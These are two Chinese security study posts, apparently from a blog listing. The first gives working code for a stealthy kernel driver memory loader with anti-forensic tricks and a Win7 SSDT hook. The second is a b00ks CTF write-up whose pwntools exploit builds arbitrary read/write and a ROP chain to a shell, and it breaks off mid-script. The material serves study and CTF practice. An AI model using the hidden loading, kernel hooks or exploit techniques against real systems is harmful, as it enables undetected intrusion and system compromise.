entryPoint(memImage, NULL);

}

其中,fixCookie函数实现如下所示:

1
2
3
4
5
6
7
8
9
10
11
void FixCookie(PUCHAR memImage)
{
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)memImage;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(memImage + pDos->e_lfanew);

PIMAGE_DATA_DIRECTORY pDir = &(pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG]);
if (!(pDir->VirtualAddress)) return;

PIMAGE_LOAD_CONFIG_DIRECTORY config = (PIMAGE_LOAD_CONFIG_DIRECTORY)(pDir->VirtualAddress + memImage);
*(PULONG_PTR)(config->SecurityCookie) += 10;
}

其目的是绕过win10的蓝屏处理逻辑,所以需要修改SecurityCookie的值;

注入器入口

注入器入口如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <ntifs.h>
#include "Tools.h"
#include "LoadDriver.h"
#include "sys.h"
#define INITCODE code_seg("INIT");

unsigned char box[10] = { 0xbc,0x02,0xde,0xad,0xbe,0xef,0x12,0x34,0x56,0x78 };

#pragma INITCODE //把主要代码放到INIT段,INIT执行完后会自动释放,dump内存的找不到
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{
//DbgBreakPoint();
int fileLen = sizeof(sysData);
unsigned char* sys = ExAllocatePool(PagedPool, fileLen);
memcpy(sys, sysData, fileLen);

for (int i = 0; i < fileLen; i++)
{
sys[i] ^= box[i % sizeof(box)];
}

LoadPE(sys);

ExFreePool(sys);

//直接返回失败,操作系统自动卸载加载器
return STATUS_UNSUCCESSFUL;
}

首先把DriverEntry放到INIT段,执行后直接释放,dump内存发现不了注入器;

其次,注入器的入口返回失败,注入器驱动不会持久化驻留,查不到注入器;

其功能为:获取目标驱动数组(sysData,通过 #include “sys.h”),进行相应的解密操作,然后进行内存加载;

若要进一步增加隐蔽性,还可以给注入器实现自删除功能,并把目标驱动入口也写到INIT段,在注入器调用入口以后,手动抹除INIT段,以及模块镜像的头部信息;

同时也可以删除注入器的注册表项,使用如下API即可:

1
2
RtlDeleteRegistryValue  //删属性字段
zwDeleteKey //删目录项

系统调用

研究32位下从r3到r0的一个路径;

调用图

从r3到r0只有两条路径,一条系统调用,一条异常/中断处理;

调用一个API函数时,会先经过 kernel32.dll -> kernelbase.dll -> ntdll.dll;

ntdll中的函数会进行ssdt(位于内核模块ntoskrnl.exe中)查表,进而访问ntoskrnl.exe中的函数,操作其参数(驱动句柄/设备句柄)控制第三方驱动进行函数调用;

最后会经过hal.dll(一个硬件层抽象,操作系统启动时会访问CPU以挂载相对应的hal.dll)以访问CPU以及处理硬件信号;

还有user32.dll以及gdi32.dll,他们最终会落在win32k.sys驱动里,这一条调用路径是专门处理GUI的;

当路径走到ntdll时,是如下一个代码状态:

ntdll.ZwOpenProcess

先补充,Zw开头和Nt开头是同一个函数的不同导出名;

第一行的 mov eax, BEh 是一个服务号,0x1000 以下是通过 ntdll.dll 过来的,0x1000 以上是通过 user32.dll,gdi32.dll,win32u.dll 过来的;

服务号与上 0xfff 才是服务索引;

第二行的 mov edx, 7FFE0300h 是一块r3和r0共享的内存区域;

在r3下的宏叫做:SharedUserData, 在r0下的宏叫做: _KUSER_SHARED_DATA;

在r3下的地址为 7ffe0000, 在r0下的地址为 ffdf0000,两者是同一个物理页;

结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
0: kd> dt _KUSER_SHARED_DATA ffdf0000
ntdll!_KUSER_SHARED_DATA
+0x000 TickCountLowDeprecated : 0
+0x004 TickCountMultiplier : 0xf99a027
+0x008 InterruptTime : _KSYSTEM_TIME
+0x014 SystemTime : _KSYSTEM_TIME
+0x020 TimeZoneBias : _KSYSTEM_TIME
+0x02c ImageNumberLow : 0x14c
+0x02e ImageNumberHigh : 0x14c
+0x030 NtSystemRoot : [260] "C:\Windows"
+0x238 MaxStackTraceDepth : 0
+0x23c CryptoExponent : 0
+0x240 TimeZoneId : 0
+0x244 LargePageMinimum : 0x200000
+0x248 Reserved2 : [7] 0
+0x264 NtProductType : 1 ( NtProductWinNt )
+0x268 ProductTypeIsValid : 0x1 ''
+0x26c NtMajorVersion : 6
+0x270 NtMinorVersion : 1
+0x274 ProcessorFeatures : [64] ""
+0x2b4 Reserved1 : 0x7ffeffff
+0x2b8 Reserved3 : 0x80000000
+0x2bc TimeSlip : 0
+0x2c0 AlternativeArchitecture : 0 ( StandardDesign )
+0x2c4 AltArchitecturePad : [1] 0
+0x2c8 SystemExpirationDate : _LARGE_INTEGER 0x0
+0x2d0 SuiteMask : 0x110
+0x2d4 KdDebuggerEnabled : 0x3 ''
+0x2d5 NXSupportPolicy : 0x2 ''
+0x2d8 ActiveConsoleId : 1
+0x2dc DismountCount : 0
+0x2e0 ComPlusPackage : 0xffffffff
+0x2e4 LastSystemRITEventTickCount : 0x26f84
+0x2e8 NumberOfPhysicalPages : 0xbff6e
+0x2ec SafeBootMode : 0 ''
+0x2ed TscQpcData : 0 ''
+0x2ed TscQpcEnabled : 0y0
+0x2ed TscQpcSpareFlag : 0y0
+0x2ed TscQpcShift : 0y000000 (0)
+0x2ee TscQpcPad : [2] ""
+0x2f0 SharedDataFlags : 0xe
+0x2f0 DbgErrorPortPresent : 0y0
+0x2f0 DbgElevationEnabled : 0y1
+0x2f0 DbgVirtEnabled : 0y1
+0x2f0 DbgInstallerDetectEnabled : 0y1
+0x2f0 DbgSystemDllRelocated : 0y0
+0x2f0 DbgDynProcessorEnabled : 0y0
+0x2f0 DbgSEHValidationEnabled : 0y0
+0x2f0 SpareBits : 0y0000000000000000000000000 (0)
+0x2f4 DataFlagsPad : [1] 0
+0x2f8 TestRetInstruction : 0xc3
+0x300 SystemCall : 0x77736c00
+0x304 SystemCallReturn : 0x77736c04
+0x308 SystemCallPad : [3] 0
+0x320 TickCount : _KSYSTEM_TIME
+0x320 TickCountQuad : 0x36d1
+0x320 ReservedTickCountOverlay : [3] 0x36d1
+0x32c TickCountPad : [1] 0
+0x330 Cookie : 0x44e5bd65
+0x334 CookiePad : [1] 0
+0x338 ConsoleSessionForegroundProcessId : 0n3324
+0x340 DEPRECATED_Wow64SharedInformation : [16] 0
+0x380 UserModeGlobalLogger : [16] 0
+0x3a0 ImageFileExecutionOptions : 0
+0x3a4 LangGenerationCount : 1
+0x3a8 Reserved5 : 0
+0x3b0 InterruptTimeBias : 0
+0x3b8 TscQpcBias : 0
+0x3c0 ActiveProcessorCount : 8
+0x3c4 ActiveGroupCount : 1
+0x3c6 Reserved4 : 0
+0x3c8 AitSamplingValue : 0
+0x3cc AppCompatFlag : 1
+0x3d0 DEPRECATED_SystemDllNativeRelocation : 0
+0x3d8 DEPRECATED_SystemDllWowRelocation : 0
+0x3dc XStatePad : [1] 0
+0x3e0 XState : _XSTATE_CONFIGURATION

在偏移300h的地方,是:

1
+0x300 SystemCall       : 0x77736c00

在windows的符号中,SystemCall的符号为: _KiFastSystemCall;

在这个回调里面,首先会把r3的返回地址,也就是ZwOpenProcess的地址给到edx;

然后执行 systementer 指令;

进入内核以后,栈会切换;所以在内核中要访问参数,需要通过edx进行访问;

systementer

这条指令做了什么?

  1. 将 SYSENTER_CS_MSR 的值装载到 cs 寄存器(查MSR寄存器,把cs寄存器替换成r0的cs)
  2. 将 SYSENTER_EIP_MSR 的值装载到 eip 寄存器
  3. 将 SYSENTER_CS_MSR 的值 +8 并装载到 ss 寄存器(ss替换)
  4. 将 SYSENTER_ESP_MSR 的值装载到 esp 寄存器
  5. 将特权级切换到 R0
  6. 如果 EFLAGS 寄存器的 VM 标志被置位,则清除该标志
  7. 开始执行指定的 R0 代码

相对应的,还有一条退出指令: SYSEXIT;

它做的事情:

  1. 将 SYSENTER_CS_MSR 的值 +16 装载到 cs 寄存器
  2. 将 edx 的值装载到 eip 寄存器
  3. 将 SYSENTER_CS_MSR 的值 +24 装载到 ss 寄存器
  4. 将 ecx 的值装载到 esp 寄存器
  5. 切换特权回 R3
  6. 继续执行 R3 代码

MSR寄存器的一部分会存储 “内核上下文 ” ;

实际上 fs 段寄存器也会进行修改;

因为 fs 在32位下的 r3 模式是指向 线程TEB;进入内核后就没有意义了;

R0状态下,fs会指向一个 CPU 信息结构: _KPCR;

进 R0 也会把寄存器上下文信息进行保存,会保存到 KTRAP_FRAME 结构里;

SSDT表(不和UI相关)导出名叫 _KeServiceDescriptorTable, SSSDT表(和UI相关)的导出名叫 _KeServiceDescriptorTableShadow;

32位下,每一个表项只有16个字节,表项前4个字节是函数表,第二个4字节是统计相关(已弃用),第三个4字节是函数表中有多少个函数,第四个4字节是参数个数相关的指针(这个指针 + 服务索引得到的第一个字节,存放的是调用函数参数使用的总字节大小);

两个表的前16个字节是一样的;

(函数表指针 + 服务索引 * 4) -> 得到内核模块中的函数地址;(内核模块中的函数名倒是和ntdll的函数名一样)

r3的参数也会被拷贝复制一份到r0的栈用于构建栈帧,之后直接call 从ssdt或者sssdt表中找到的地址;

总结:systementer 做了哪些事情?

  1. 从MSR寄存器读值,直接跳转到 _KiFastCallEntry(内核区域)(硬件直接改动的EIP的值)
  2. 修改CS,FS,SS(CS,SS是指令硬件直接实现,FS是内核部分代码实现)
  3. 线程栈切换内核栈(内核部分代码实现)(有硬件指令实现,但是实际上没有用上,实际上起作用的是内核代码部分)
  4. 关中断(内核代码实现)
  5. 保存寄存器上下文(KTRAP_FRAME)(包括EFLAGS)(内核部分代码实现)
  6. 保存旧的异常链(SEH)(内核部分代码实现)
  7. 构建内核栈帧(内核部分代码实现)
  8. 开中断(内核代码实现)
  9. 复制参数到内核栈(内核部分代码实现)
  10. 根据服务号查表,进行调用(内核部分代码实现)(直接 CALL 寄存器)

就挺像和挺有408上中断隐指令(关中断,保存上下文,找到函数入口)的味道;

IRQL机制

微软模拟的一套硬件中断优先级机制;

它分很多个等级,当设置的 IRQL 大于当前的 IRQL 等级,那么立即中断,执行高等级代码;

如果设置 IRQL 是小于等于当前的 IRQL 等级,那么必须等自己运行完毕,退回设置的 IRQL 之后才执行;

最低为0,1为高等级,在r3下,IRQL等级永远为0;

调用返回

所以在函数调用结束后,会先判断是由 R0 还是 R3 发起的函数调用,选择不同的路径返回;(顺便一提,R3 和 R0 发起的函数调用入口处部分的代码也不同,走两条路径,上面 systementer 的分析是基于 R3 进入 R0的)

然后判断 IRQL 等级是否为0,不为0蓝屏;

之后再判断是否线程被附加,如果被附加,返回R3的话,会导致蓝屏;

接着就是关中断准备返回;

关中断之后会先进行性能统计,然后进行APC派发(后续详解),然后开始真正的还原;

还原步骤:

  1. 还原异常链(内核代码实现)
  2. 修复FS(内核代码实现)
  3. 还原线程栈(内核代码实现)
  4. 恢复寄存器上下文(内核代码实现)
  5. 跳转到 _KiFastSystemCallRet(内核代码实现)(位于ntdll模块,就在 _KiFastSystemCall 下方 )

由上可知r3进入r0的系统调用一定会通过SSDT或者SSSDT表进行内核函数调用;

SSDT HOOK

只针对32位系统的win7;

win10的防护和限制还挺多,后续学习中攻克;

SSDT 称呼应该是 System Service Descriptor Table,系统服务描述表,不要和操作系统那本书里面的SDT表(系统设备表)记混了;

HOOK这个表其实很简单,主要是怎么去过写保护,这个表所在的页是只读的;

在 Win7 上有N种姿势,其中我知道的就有: 改CR0寄存器的WP位,手动改这个表对应页的PTE属性,还有MDL;

这次写法就使用MDL;

先介绍下MDL:一种内存映射方法(至少目前使用的效果是这样);

它的工作原理其实和第二种姿势类似,查找给到的虚拟地址对应的物理页,大小自己给,给多少就找几个物理页。然后给这些找到的物理页创建页表项,映射新的虚拟地址。新映射的虚拟地址和原来的虚拟地址共享同个物理页,但是PTE的属性不一样;

先来MDL操作的函数实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
PVOID MdlMap(PVOID aimAddr, ULONG size, KPROCESSOR_MODE accessMode, PMDL *retMdl)
{
//创建映射结构体
PMDL pmdl = IoAllocateMdl(aimAddr, size, NULL, NULL, NULL);
if (!pmdl) return NULL;
PVOID map = NULL;
BOOLEAN isLock = FALSE;
__try
{
//锁页
MmProbeAndLockPages(pmdl, accessMode, IoReadAccess);
isLock = TRUE;
//映射
map = MmMapLockedPagesSpecifyCache(pmdl, accessMode, MmNonCached, NULL, NULL, NormalPagePriority);
}
__except (1)
{
map = NULL;
}
//失败处理
if (!map)
{
if(isLock) MmUnlockPages(pmdl);
IoFreeMdl(pmdl);
return NULL;
}
*retMdl = pmdl;
return map;
}

VOID MdlUnmap(PVOID mapAddr, PMDL pmdl)
{
MmUnmapLockedPages(mapAddr, pmdl);
MmUnlockPages(pmdl);
IoFreeMdl(pmdl);
}

一个对应映射,一个卸载映射,返回的map就是新映射的虚拟地址;aimAddr是需要去映射的目标地址;

然后是获取SSDT表结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _SSDTItem
{
PULONG_PTR funcTable;
ULONG_PTR unUse;
ULONG_PTR funcNum;
PUCHAR paramSizeTable;
}SSDTItem, * PSSDTItem;

typedef struct _SSDTService
{
SSDTItem ssdt;
SSDTItem sssdt;
}SSDTService, * PSSDTService;

EXTERN_C PSSDTService KeServiceDescriptorTable;

前面我们用文字说明过,SSDT表项的内容;

接下来是完整的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include<ntifs.h>

typedef struct _SSDTItem
{
PULONG_PTR funcTable;
ULONG_PTR unUse;
ULONG_PTR funcNum;
PUCHAR paramSizeTable;
}SSDTItem, * PSSDTItem;

typedef struct _SSDTService
{
SSDTItem ssdt;
SSDTItem sssdt;
}SSDTService, * PSSDTService;

EXTERN_C PSSDTService KeServiceDescriptorTable;

typedef NTSTATUS(NTAPI* PFN_NTOPENPROCESS)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);

PFN_NTOPENPROCESS g_oriNtOpenProcess = NULL;
PULONG_PTR g_map = NULL;
PMDL g_pmdl = NULL;

//hook函数
NTSTATUS NTAPI myNtOpenProcess(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
)
{
DbgPrintEx(77, 0, "[bc] ntopenprocess hook happen.\n");
return g_oriNtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
}

PVOID MdlMap(PVOID aimAddr, ULONG size, KPROCESSOR_MODE accessMode, PMDL *retMdl)
{
//创建映射结构体
PMDL pmdl = IoAllocateMdl(aimAddr, size, NULL, NULL, NULL);
if (!pmdl) return NULL;
PVOID map = NULL;
BOOLEAN isLock = FALSE;
__try
{
//锁页
MmProbeAndLockPages(pmdl, accessMode, IoReadAccess);
isLock = TRUE;
//映射
map = MmMapLockedPagesSpecifyCache(pmdl, accessMode, MmNonCached, NULL, NULL, NormalPagePriority);
}
__except (1)
{
map = NULL;
}
if (!map)
{
if(isLock) MmUnlockPages(pmdl);
IoFreeMdl(pmdl);
return NULL;
}
*retMdl = pmdl;
return map;
}

VOID MdlUnmap(PVOID mapAddr, PMDL pmdl)
{
MmUnmapLockedPages(mapAddr, pmdl);
MmUnlockPages(pmdl);
IoFreeMdl(pmdl);
}

VOID DriverUnload(PDRIVER_OBJECT pDriver)
{
g_map[0xbe] = (ULONG_PTR)g_oriNtOpenProcess;
MdlUnmap(g_map, g_pmdl);
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{
//MDL
g_map = MdlMap(KeServiceDescriptorTable->ssdt.funcTable, PAGE_SIZE, KernelMode, &g_pmdl);

//hook
g_oriNtOpenProcess = (PFN_NTOPENPROCESS)(g_map[0xbe]);
g_map[0xbe] = (ULONG_PTR)myNtOpenProcess;

//unhook
pDriver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}

实际使用中,0xbe这种函数服务号对于每种windows版本肯定不一样,所以不能写死,要手动读取system32下的ntdll.dll,获取它的导出表,找到每个导出函数的地址;

前面我们逆向分析过,ntdll中每个函数长这个样子:

ntdll.ZwOpenProcess

所以,在找到每个函数地址后,地址+1的位置就是服务号;

阅读全文
练习题b00ks

参考博客:asis-ctf-2016 pwn 之 b00ks | cq674350529’s blog

题目下载链接也在参考博客里;

本题使用到的glibc版本为2.43;

分析

拿到题先checksec和ida查看:

初步查看

可以从分图4中得到开启了RELRO,NX,PIE;

分图1是这个题目的main函数,是一个菜单题,做菜单题先看delete部分,但会发现这道题的delete是正常的释放,而且把指针置为了0,不存在UAF漏洞;

进一步查看可以发现在entername函数(分图2)中,使用了offbynull函数作为作者名称的输入,进入offbynull函数(分图3)查看, 可以发现这个写名称的过程有offbyone的漏洞,即当名称长度为32时,第33字节会被覆盖为0x00字节;

进一步分析aname全局变量会覆盖到的后位是什么,并分析new和delete操控的数据结构:

进一步分析

从分图1能看到作者姓名后面的变量则是new和delete操控的Array变量存放的地方;

根据分析各个功能函数,能够构造出分图2中的数据结构,这正是Array数组每个成员的数据结构类型,分图3是new函数,虽然new中在写description时使用了offbynull函数,但使用的写入大小是size-1,所以00字节不能溢出覆盖,这里不存在offbynull漏洞利用;

这道题并没有自带system函数和binsh字符串,这说明我们需要分析libc;

如何确定libc版本呢?很简单,调试起来以后,去看文件的got表项,多找几个从libc导出函数的地址,拿最低位去找libc版本的网站上比对即可,这里我使用的是2.43版本,也就是我虚拟机上的版本;

分析到此为止,接下来可以想一想利用思路了,其他功能函数的分析就不展开说了,有兴趣的可以下载题目自己看看;

思路

利用offbyone漏洞能做些什么呢?

第一:可以在第一次写入名称时,写满32字节,00字节覆盖到array处,这样在new一个array[0]时,00字节被覆盖,我们使用show函数时可以泄露出array[0]的地址,也就是堆上的地址;

第二:在new了以后进行改名覆盖,可以把array[0]处的堆地址的最低位覆盖为00字节;

那么我们再结合地址重合的思路进行思考,既然在uaf中,我们会把堆内存空间伪造为结构体或是堆块的结构,使用已释放的指针利用这个结构体来进行漏洞利用,这里行不行呢?

第二条就决定了我们其实可以这么做:我们把一个块中写入的内容伪造为book结构体,这个块的特点是其地址最低位是00字节,那么此时当我执行第二条利用方法时,array[0]处的内容就变成了我们伪造的book结构,进而利用伪造的book。通过这个方法,使用show可以任意地址读,使用edit可以任意地址写;

有了任意地址写这个功能,就可以考虑hook函数来执行system;

所以做堆题一开始没思路的时候,可以先往地址重合去思考,往实现读写功能去思考;

先给出定义的exp脚本函数,以方便后续编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
p = process('./b00ks')

def create(bs, bn, ds, d):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Enter book name size: ', bs)
p.sendlineafter(b'Enter book name (Max 32 chars): ', bn)
p.sendlineafter(b'Enter book description size: ', ds)
p.sendlineafter(b'Enter book description: ', d)

def edit(ids, d):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Enter the book id you want to edit: ', ids)
p.sendlineafter(b'Enter new book description: ', d)

def show():
p.sendlineafter(b'> ', b'4')

def delete(ids):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Enter the book id you want to delete: ', ids)

def changename(n):
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'Enter author name: ', n)

name = b'a' * 32
p.sendlineafter(b'Enter author name: ', name)
#此时进入菜单

实现任意地址读写

通过思考,我们的首要目标就是构造fake_book到array[0]的位置;

这个fake_book块我们选谁呢,当然是description。原因是虽然bookname和description的长度大小都由我们指定,但只有description的内容可以通过edit更改,权力更大;

同时还要思考一个问题,让fake_book地址坐落于低位为00字节,比如我们正常分配堆,给到的堆块地址都是从小到大,举个例子:

根据这道题的new逻辑,一次new得到三个堆块,如果我name和description的大小都是0x10,那么给到我的三个堆地址分别如下:

malloc返回地址 表示内容 总大小 分配大小
0x5010 bookname 0x20 0x10
0x5030 description 0x20 0x10
0x5050 book_struct 0x30 0x20

当我们使用offbyone覆盖最低位,会使得地址变成0x5000,我们是没办法分配fake_book于0x5010之前的;

所以我们肯定选择的是下一个低位00的位置,也就是让fake_book置于0x5100;

那么此时在array[0]位置的地址就不应该是 0x50xx 的地址,而是 0x51xx 的地址;

所以我们就有先new,再delete,再new的思路,让后面的块放到array[0]的位置;

同时注意,book_struct分配的逻辑是固定0x20大小;

有exp代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#start
create(b'16',b'bbbb',b'16',b'bbbb')
show()
res = p.recvuntil(b'\n\n1. Create a book')
res = res[-(18 + 6):-18]
book1 = int.from_bytes(res, byteorder='little', signed=False)
heap = book1 - 0x1060
print('heap: '+ hex(heap))

fake_book = p64(11) + p64(book1+0x30) + p64(book1+8) + p64(0x30)
create(b'96',b'secondbc',b'48',fake_book)
create(b'16',b'bbbb',b'16',b'bbbb')
delete(b'1')
delete(b'3')
create(b'16',b'bbbb',b'16',b'bbbb') #4
changename(name)

第一次new完再show拿到book1_struct的地址,也即是array[0]此时存放的堆地址,并通过调试可以得到与heap相对应的偏移,从而得到heap基址;

第二步,构造fake_book结构,从之前的分析来构造对应的结构体,值得说明的是,p64(book1+8),也就是第三个值,是description,这个指针,我们让它指向(book1+8)后续揭晓它的用处。并通过create(b'96',b'secondbc',b'48',fake_book) ,操控bookename的大小让book2的description坐落于0x5100这样的地址;

第三步,new一个book3,此时它的book3_struct地址肯定就是0x51xx的样式了,而非0x50xx。然后我们delete book1,再delete book3,由于book1和book3的bookname和description大小我们设置都是0x10,与book_struct的0x20大小不同,所以链接到tcache不同的位置,只有book1_struct和book3_struct相链接,不受其他堆块影响。此时tcache的链如下所示:

1
tcache 0x20: book3_struct -> book1_struct -> 0

同时记得tcache和fastbin类似,都是单链表,是头插法的链栈;

再次new,会返回book3_struct的地址作为book4的book4_struct放回array[0]的位置(因为delete会清空array[0],之后new的会重新按顺序填入,但bookid为4了),此时array[0]的位置就被顺利写入了0x51xx的样式的地址;

最后再changename,实现array[0]处的地址变成book2的description地址,我们操控array[0]时,即操控我们自定义的fake_book,这样一来就实现了任意地址读写,即edit可以改伪造的description,show可以揭示伪造的description;

泄露libc基址和主程序基址

实现这个强大的功能后就可以考虑获取两个基址了,因为程序开了PIE;

如何做呢?新知识点:通过分配大堆块,linux会使用mmap进行分配,mmap分配的地址不属于heap段,而在ida调试显示的debug001段,而debug002段处是存放了libc里面的地址的,debug001和debug002是连着的,拥有固定偏移量;

所以有如下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#use mmap leak libcaddr and  programaddr
create(b'196608',b'bbbb',b'16',b'bbbb') #5
show()
leakaddr = p.recvuntil(b'\nAuthor: ')[-(9+6):-9]
leakaddr = int.from_bytes(leakaddr, byteorder='little', signed=False)
debug001 = leakaddr - 0x10
debug002 = debug001 + 0x46000
aim = 0x1b8 + debug002
fake_book = p64(11) + p64(book1+0x30) + p64(aim) + p64(0x30)
edit(b'2', fake_book)
show()
aim = p.recvuntil(b'\nAuthor: ')[-(9+6):-9]
aim = int.from_bytes(aim, byteorder='little', signed=False)
baselibc = aim - 0x211940

先new一个bookname非常大的book5,此时book5的book_struct地址其实是tcache返回的book1_struct;

而之前我们设置的book1+8,此时正是book5的bookname指针,指向的则是debug001段上的地址;

通过show就能打印出id为11的book(我们伪造的fake_book)的description,此时正是debug001段上的地址;

通过调试,得到偏移,计算出存放libc地址的地址,然后edit book2的description就能更改fake_book的description;

再次show即可泄露libc内的地址,通过调试计算偏移拿到真实的baselibc,即libc基址;

同时linux的主程序的基地址是会存放在内存里的,很变态,直接在调试时搜索对应基地址,可以发现主程序基地址其实就存放在debug002:

调试

分图1是主程序基址,分图2是搜索,分图3位于debug002段;

所以获取主程序基址exp如下:

1
2
3
4
5
6
7
aim = debug001 + 0x321E0
fake_book = p64(11) + p64(book1+0x30) + p64(aim+2) + p64(0x30)
edit(b'2', fake_book)
show()
aim = p.recvuntil(b'\nAuthor: ')[-(9+4):-9]
aim = int.from_bytes(aim, byteorder='little', signed=False)
base = aim << 16

调试计算出偏移后用任意地址读就行了,不过读的是字符串,所以读不到00字节,要舍弃掉最后两位来读(aim+2),最后左移16位补上就行了;

getshell

现在什么都有了,如何触发system(binsh)呢?

一般是hook free函数或者malloc函数,然后调用new或者delete来执行;

但这道题在glibc为2.43的环境下貌似不太行?

首先程序开启了relro,无法直接写got表(无权限),这就不能iat hook;

同时glibc2.43没有__free_hook,或是__malloc_hook全局变量,用不了;

但我们有强大的任意地址写,什么都挡不住我们;

新知识点:libc有一个environ符号,这个里面存放了主程序栈上的地址:

找栈地址

分图1找出environ符号的偏移;分图2是libc基址;分图3是调试中偏移处存放内容;分图4是存放内容代表的地址;

有了栈上的地址,我们就可以ROP启动了,因为relro不会保护栈,栈是可以随便写的,使用ROPgadget找libc可用的gadget,最终找到一条:

1
0x00000000001375ae : xor ebp, ebp ; pop rax ; pop rdi ; call rax

非常完美,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#exploit now
system = baselibc + 0x5C560
binsh = baselibc + 0x1DB799
#free_got = base + 0x201F78
#fake_book = p64(11) + p64(book1+0x30) + p64(free_got) + p64(0x30)
#edit(b'2', fake_book)
#edit(b'11', p64(system)) cant hijack got table -> relro
#ROP time
environ = baselibc + 0x219de8
fake_book = p64(11) + p64(book1+0x30) + p64(environ) + p64(0x30)
edit(b'2', fake_book)
show()
aim = p.recvuntil(b'\nAuthor: ')[-(9+6):-9]
environinstack = int.from_bytes(aim, byteorder='little', signed=False)
mainret = environinstack - 0x140
print('mainretn: ' + hex(mainret))
fake_book = p64(11) + p64(book1+0x30) + p64(mainret) + p64(0x30)
edit(b'2', fake_book)

poprax_poprdi_callrax = baselibc + 0x1375B0
ROP = p64(poprax_poprdi_callrax) + p64(system) + p64(binsh)

edit(b'11',ROP)

p.interactive()

首先计算出system和binsh的地址,然后根据environ获取栈地址;

获取到以后,根据调试得到environ记录的栈地址与main函数返回处的栈地址的偏移,并计算得到main返回的栈地址;

在mainret地址写入ROP链;

最后进入互动模式并退出程序,即可getshell;

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *

#glibc-2.43
p = process('./b00ks')

def create(bs, bn, ds, d):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Enter book name size: ', bs)
p.sendlineafter(b'Enter book name (Max 32 chars): ', bn)
p.sendlineafter(b'Enter book description size: ', ds)
p.sendlineafter(b'Enter book description: ', d)

def edit(ids, d):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Enter the book id you want to edit: ', ids)
p.sendlineafter(b'Enter new book description: ', d)

def show():
p.sendlineafter(b'> ', b'4')

def delete(ids):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Enter the book id you want to delete: ', ids)

def changename(n):
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'Enter author name: ', n)

name = b'a' * 32
p.sendlineafter(b'Enter author name: ', name)

#start
create(b'16',b'bbbb',b'16',b'bbbb')
show()
res = p.recvuntil(b'\n\n1. Create a book')
res = res[-(18 + 6):-18]
book1 = int.from_bytes(res, byteorder='little', signed=False)
heap = book1 - 0x1060
print('heap: '+ hex(heap))

fake_book = p64(11) + p64(book1+0x30) + p64(book1+8) + p64(0x30)
create(b'96',b'secondbc',b'48',fake_book)
create(b'16',b'bbbb',b'16',b'bbbb')
delete(b'1')
delete(b'3')
create(b'16',b'bbbb',b'16',b'bbbb') #4
changename(name)
#any address write and read compelete
#use mmap leak libcaddr and programaddr
create(b'196608',b'bbbb',b'16',b'bbbb') #5
show()
leakaddr = p.recvuntil(b'\nAuthor: ')[-(9+6):-9]
leakaddr = int.from_bytes(leakaddr, byteorder='little', signed=False)
debug001 = leakaddr - 0x10
debug002 = debug001 + 0x46000
aim = 0x1b8 + debug002
fake_book = p64(11) + p64(book1+0x30) + p64(aim) + p64(0x30)
edit(b'2', fake_book)
show()
aim = p.recvuntil(b'\nAuthor: ')[-(9+6):-9]
aim = int.from_bytes(aim, byteorder='little', signed=False)
baselibc = aim - 0x211940
aim = debug001 + 0x321E0
fake_book = p64(11) + p64(book1+0x30) + p64(aim+2) + p64(0x30)
edit(b'2', fake_book)
show()
aim = p.recvuntil(b'\nAuthor: ')[-(9+4):-9]
aim = int.from_bytes(aim, byteorder='little', signed=False)
base = aim << 16
print('base: ' + hex(base))
print('baselibc: ' + hex(baselibc))
#exploit now
system = baselibc + 0x5C560
binsh = baselibc + 0x1DB799
#free_got = base + 0x201F78
#fake_book = p64(11) + p64(book1+0x30) + p64(free_got) + p64(0x30)
#edit(b'2', fake_book)
#edit(b'11', p64(system)) cant hijack got table -> relro
#ROP time
environ = baselibc + 0x219de8
